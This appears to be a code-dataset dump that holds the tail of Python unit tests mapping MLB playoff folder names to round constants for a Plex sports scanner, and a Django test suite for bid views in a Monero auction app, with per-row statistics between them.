("Divisional Round", "Divisional Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Division Round", "Division Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Divisional Series", "Divisional Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Division Series", "Division Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Championship Round", "American League Championship Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Round", "National League Championship Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Series", "American League Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Series", "National League Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Series", "American League Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Series", "National League Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Playoffs", "American League Championship Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Playoffs", "National League Championship Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Round", "AL Championship Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Round", "NL Championship Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Series", "AL Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Series", "NL Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Series", "AL Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Series", "NL Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Playoffs", "AL Championship Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Playoffs", "NL Championship Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("ALCS", "ALCS", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NLCS", "NLCS", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("Championship Round", "Championship Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("Championship Series", "Championship Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("World Series", "World Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WORLD_SERIES),
("worldseries", "worldseries", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WORLD_SERIES),
("AnythingElse", None, None, None)
]:
try:
# Arrange
relPath = r"MLB\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingMLBPlayoffRoundFromFolderStructure(WhenReadingFolderStructure):
# TODO: Answer cache
def test_IfSubseasonIsNotPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, round) in [
("American League Wildcard Round", "American League Wildcard Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard Round", "National League Wildcard Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Wildcard Series", "American League Wildcard Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard Series", "National League Wildcard Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Wildcard", "American League Wildcard", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard", "National League Wildcard", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard Round", "AL Wildcard Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard Round", "NL Wildcard Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard Series", "AL Wildcard Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard Series", "NL Wildcard Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard", "AL Wildcard", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard", "NL Wildcard", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard Round", "Wildcard Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard Series", "Wildcard Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard", "Wildcard", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Divisional Round", "American League Divisional Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Divisional Round", "National League Divisional Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Round", "American League Division Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Round", "National League Division Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Divisional Series", "American League Divisional Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Divisional Series", "National League Divisional Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Series", "American League Division Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Series", "National League Division Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Playoffs", "American League Division Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Playoffs", "National League Division Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Divisional Round", "AL Divisional Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Divisional Round", "NL Divisional Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Round", "AL Division Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Round", "NL Division Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Divisional Series", "AL Divisional Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Divisional Series", "NL Divisional Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Series", "AL Division Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Series", "NL Division Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Playoffs", "AL Division Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Playoffs", "NL Division Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("ALDS", "ALDS", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NLDS", "NLDS", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Divisional Round", "Divisional Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Division Round", "Division Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Divisional Series", "Divisional Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("Division Series", "Division Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Championship Round", "American League Championship Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Round", "National League Championship Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Series", "American League Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Series", "National League Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Series", "American League Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Series", "National League Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("American League Championship Playoffs", "American League Championship Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("National League Championship Playoffs", "National League Championship Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Round", "AL Championship Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Round", "NL Championship Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Series", "AL Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Series", "NL Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Series", "AL Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Series", "NL Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("AL Championship Playoffs", "AL Championship Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NL Championship Playoffs", "NL Championship Playoffs", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("ALCS", "ALCS", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("NLCS", "NLCS", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("Championship Round", "Championship Round", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("Championship Series", "Championship Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_CHAMPIONSHIP),
("World Series", "World Series", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WORLD_SERIES),
("worldseries", "worldseries", PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WORLD_SERIES),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"MLB\2018\Playoffs\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, "Playoffs")
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
if __name__ == '__main__':
unittest.main()
| 67.127894 | 203 | 0.689299 | 5,937 | 60,885 | 6.794846 | 0.03554 | 0.071391 | 0.115168 | 0.093701 | 0.938227 | 0.9179 | 0.891401 | 0.873032 | 0.862844 | 0.851491 | 0 | 0.007078 | 0.222682 | 60,885 | 906 | 204 | 67.201987 | 0.84531 | 0.019167 | 0 | 0.437898 | 0 | 0.001592 | 0.192927 | 0.012805 | 0 | 0 | 0 | 0.001104 | 0.103503 | 0 | null | null | 0.004777 | 0.004777 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
78a35ad41e646a797e3fe1c68951e6d2c07f80d3 | 18,467 | py | Python | bids/tests/test_views.py | lalanza808/xmrauctions | 992f0e605e566610d03c6e388ce70dcfa58864b3 | [
"MIT"
] | 3 | 2020-01-07T13:01:59.000Z | 2020-11-25T01:27:53.000Z | bids/tests/test_views.py | lalanza808/xmrauctions | 992f0e605e566610d03c6e388ce70dcfa58864b3 | [
"MIT"
] | 6 | 2020-01-02T21:33:04.000Z | 2022-03-12T00:10:40.000Z | bids/tests/test_views.py | lalanza808/xmrauctions | 992f0e605e566610d03c6e388ce70dcfa58864b3 | [
"MIT"
] | 2 | 2020-02-01T18:03:07.000Z | 2020-07-22T18:47:22.000Z | from secrets import token_urlsafe
from monero.seed import Seed
from django.test import TestCase
from django.contrib.auth.models import User
from django.core.paginator import Page
from django.shortcuts import reverse
from django.test.client import Client
from items.models import Item
from bids.models import ItemBid
from bids.forms import CreateItemBidForm
from sales.models import ItemSale
class ItemBidViewsTestCase(TestCase):
def setUp(self):
self.client = Client()
self.seller_password = token_urlsafe(32)
self.buyer_password = token_urlsafe(32)
self.seller = User.objects.create_user(
'seller', password=self.seller_password
)
self.buyer = User.objects.create_user(
'buyer', password=self.buyer_password
)
self.payout_address = Seed().public_address(net='stagenet')
self.return_address = Seed().public_address(net='stagenet')
self.whereabouts = 'Los Angeles, CA'
self.test_item = Item.objects.create(
owner=self.seller,
name='Test Item',
description='Test item',
ask_price_xmr=0.3,
payout_address=self.payout_address,
whereabouts=self.whereabouts
)
##### List Bids
def test_list_bids_requires_auth(self):
response = self.client.get(reverse('list_bids'))
self.assertTrue(response.url.startswith(reverse('login')))
self.assertEqual(response.status_code, 302)
def test_list_bids_returns_pagination(self):
ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('list_bids'))
response_w_str_arg = self.client.get(reverse('list_bids') + "?page=bar")
response_w_empty_pg = self.client.get(reverse('list_bids') + "?page=9001")
self.client.logout()
self.assertTrue(isinstance(response.context['bids'], Page), 'Paginated object not returned')
self.assertTrue(isinstance(response_w_str_arg.context['bids'], Page), 'Paginated object not returned')
self.assertTrue(isinstance(response_w_empty_pg.context['bids'], Page), 'Paginated object not returned')
def test_list_bids_returns_only_user_bids(self):
for i in range(1, 20):
u = User.objects.create_user(f'list_bids_test{i}', password=token_urlsafe(16))
ItemBid.objects.create(
item=self.test_item,
bidder=u,
bid_price_xmr=0.2,
return_address=self.return_address
)
ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('list_bids'))
self.client.logout()
# Test that buyer's bids are the only bids returned from view
all_bids = ItemBid.objects.all()
user_bids = all_bids.filter(bidder=self.buyer)
self.assertEqual(len(user_bids), len(response.context['bids']))
self.assertLess(len(user_bids), len(all_bids))
# Test that each bid belongs to the buyer
for bid in response.context['bids']:
self.assertEqual(bid.bidder, self.buyer)
##### Create Bid
def test_create_bid_requires_auth(self):
response = self.client.get(reverse('create_bid', args=[self.test_item.id]))
self.assertTrue(response.url.startswith(reverse('login')))
self.assertEqual(response.status_code, 302)
def test_create_bid_redirect_home_if_item_id_missing(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('create_bid', args=[9999]))
self.client.logout()
self.assertEqual(response.url, reverse('home'))
self.assertEqual(response.status_code, 302)
def test_create_bid_redirect_edit_if_bid_already_posted(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.2,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('create_bid', args=[self.test_item.id]))
self.client.logout()
self.assertEqual(response.url, reverse('edit_bid', args=[new_bid.id]))
self.assertEqual(response.status_code, 302)
new_bid.delete()
def test_create_bid_redirect_item_if_user_owns_item(self):
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('create_bid', args=[self.test_item.id]))
self.client.logout()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
def test_create_bid_redirect_item_if_item_unavailable(self):
self.test_item.available = False
self.test_item.save()
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('create_bid', args=[self.test_item.id]))
self.client.logout()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
def test_create_bid_save_redirect_if_valid(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.post(reverse('create_bid', args=[self.test_item.id]), {
'bid_price_xmr': 0.2,
'return_address': self.return_address,
})
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.client.logout()
self.assertEqual(response.status_code, 302)
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertTrue(buyer_bid)
buyer_bid.delete()
def test_create_bid_no_save_redirect_if_invalid(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.post(reverse('create_bid', args=[self.test_item.id]), {
'bid_price_xmr': 'invalid bid price',
'return_address': 'invalid return address',
})
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.client.logout()
self.assertEqual(response.status_code, 302)
self.assertEqual(response.url, reverse('create_bid', args=[self.test_item.id]))
self.assertIsNone(buyer_bid)
def test_create_bid_returns_valid_context(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('create_bid', args=[self.test_item.id]))
self.client.logout()
self.assertEqual(response.status_code, 200)
self.assertEqual(response.context['item'].id, self.test_item.id)
self.assertTrue(response.context['form'])
self.assertIsInstance(response.context['form'], CreateItemBidForm)
##### Edit Bid
def test_edit_bid_requires_auth(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.2,
return_address=self.return_address
)
response = self.client.get(reverse('edit_bid', args=[new_bid.id])) # anon
self.assertTrue(response.url.startswith(reverse('login')))
self.assertEqual(response.status_code, 302)
def test_edit_bid_redirect_home_if_bid_id_missing(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('edit_bid', args=[9999]))
self.client.logout()
self.assertEqual(response.url, reverse('home'))
self.assertEqual(response.status_code, 302)
def test_edit_bid_redirect_item_if_user_is_seller(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.2,
return_address=self.return_address
)
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('edit_bid', args=[new_bid.id]))
self.client.logout()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
new_bid.delete()
def test_edit_bid_redirect_item_if_bid_is_accepted(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.2,
return_address=self.return_address,
accepted=True
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('edit_bid', args=[new_bid.id]))
self.client.logout()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
self.assertTrue(new_bid.accepted)
new_bid.delete()
def test_edit_bid_save_redirect_item_if_valid(self):
new_bid_price = 0.222
original_bid_price = 0.111
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=original_bid_price,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.post(reverse('edit_bid', args=[new_bid.id]), {
'bid_price_xmr': new_bid_price,
'return_address': self.return_address,
})
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.client.logout()
self.assertEqual(response.status_code, 302)
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertTrue(buyer_bid)
self.assertEqual(buyer_bid.bid_price_xmr, new_bid_price)
new_bid.delete()
def test_edit_bid_redirect_create_bid_if_invalid(self):
new_bid_price = 0.222
original_bid_price = 0.111
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=original_bid_price,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.post(reverse('edit_bid', args=[new_bid.id]), {
'bid_price_xmr': new_bid_price,
'return_address': 'invalid string',
})
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.client.logout()
self.assertEqual(response.status_code, 302)
self.assertEqual(response.url, reverse('create_bid', args=[self.test_item.id]))
self.assertEqual(buyer_bid.bid_price_xmr, original_bid_price)
new_bid.delete()
def test_edit_bid_returns_valid_context(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('edit_bid', args=[new_bid.id]))
self.client.logout()
self.assertEqual(response.status_code, 200)
self.assertEqual(response.context['bid'].id, new_bid.id)
self.assertTrue(response.context['form'])
self.assertIsInstance(response.context['form'], CreateItemBidForm)
new_bid.delete()
##### Delete Bid
def test_delete_bid_redirect_home_if_bid_id_missing(self):
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('delete_bid', args=[9999]))
self.client.logout()
self.assertEqual(response.url, reverse('home'))
self.assertEqual(response.status_code, 302)
def test_delete_bid_redirect_item_if_user_not_bidder(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('delete_bid', args=[new_bid.id]))
self.client.logout()
self.assertEqual(response.url, reverse('get_item', args=[new_bid.item.id]))
self.assertEqual(response.status_code, 302)
def test_delete_bid_redirect_item_if_bid_is_accepted(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address,
accepted=True
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('delete_bid', args=[new_bid.id]))
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
self.assertTrue(buyer_bid.accepted)
def test_delete_bid_redirect_item_if_bid_is_deleted(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('delete_bid', args=[new_bid.id]))
buyer_bid = ItemBid.objects.filter(bidder=self.buyer, item=self.test_item.id).first()
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
self.assertIsNone(buyer_bid)
##### Accept Bid
def test_accept_bid_requires_auth(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.2,
return_address=self.return_address
)
response = self.client.get(reverse('accept_bid', args=[new_bid.id])) # anon
self.assertTrue(response.url.startswith(reverse('login')))
self.assertEqual(response.status_code, 302)
self.assertFalse(new_bid.accepted)
def test_accept_bid_redirect_item_if_user_not_seller(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.buyer.username, password=self.buyer_password)
response = self.client.get(reverse('accept_bid', args=[new_bid.id]))
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
self.assertFalse(new_bid.accepted)
def test_accept_bid_redirect_item_if_item_not_available(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.test_item.available = False
self.test_item.save()
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('accept_bid', args=[new_bid.id]))
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
self.assertFalse(new_bid.accepted)
def test_accept_bid_redirect_item_if_bid_accepted_already(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address,
accepted=True
)
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('accept_bid', args=[new_bid.id]))
self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
self.assertEqual(response.status_code, 302)
# def test_accept_bid_redirect_item_if_wallet_not_connected(self):
# new_bid = ItemBid.objects.create(
# item=self.test_item,
# bidder=self.buyer,
# bid_price_xmr=0.1,
# return_address=self.return_address
# )
# self.client.login(username=self.seller.username, password=self.seller_password)
# response = self.client.get(reverse('accept_bid', args=[new_bid.id]))
# self.assertEqual(response.url, reverse('get_item', args=[self.test_item.id]))
# self.assertEqual(response.status_code, 302)
# self.assertFalse(aw.connected)
def test_accept_bid_updates_item_attributes(self):
new_bid = ItemBid.objects.create(
item=self.test_item,
bidder=self.buyer,
bid_price_xmr=0.1,
return_address=self.return_address
)
self.client.login(username=self.seller.username, password=self.seller_password)
response = self.client.get(reverse('accept_bid', args=[new_bid.id]))
item_sale = ItemSale.objects.filter(item=self.test_item, bid=new_bid).first()
updated_bid = ItemBid.objects.get(id=new_bid.id)
self.assertTrue(item_sale)
self.assertTrue(updated_bid.accepted)
self.assertFalse(updated_bid.item.available)
self.assertEqual(response.url, reverse('get_sale', args=[item_sale.id]))
self.assertEqual(response.status_code, 302)
| 44.498795 | 111 | 0.668057 | 2,342 | 18,467 | 5.030316 | 0.066183 | 0.061115 | 0.053985 | 0.033274 | 0.845259 | 0.825567 | 0.815211 | 0.782871 | 0.770733 | 0.76199 | 0 | 0.010858 | 0.217036 | 18,467 | 414 | 112 | 44.60628 | 0.803928 | 0.03888 | 0 | 0.677966 | 0 | 0 | 0.046422 | 0 | 0 | 0 | 0 | 0 | 0.20904 | 1 | 0.079096 | false | 0.079096 | 0.031073 | 0 | 0.112994 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
151f551942d6b4815124ef27236954f9c103a4bf | 121 | py | Python | surfaceChange/__init__.py | SmithB/surfaceChange | 28f2a485203ef1bba95ff8dee48958b8c2dcf63f | [
"MIT"
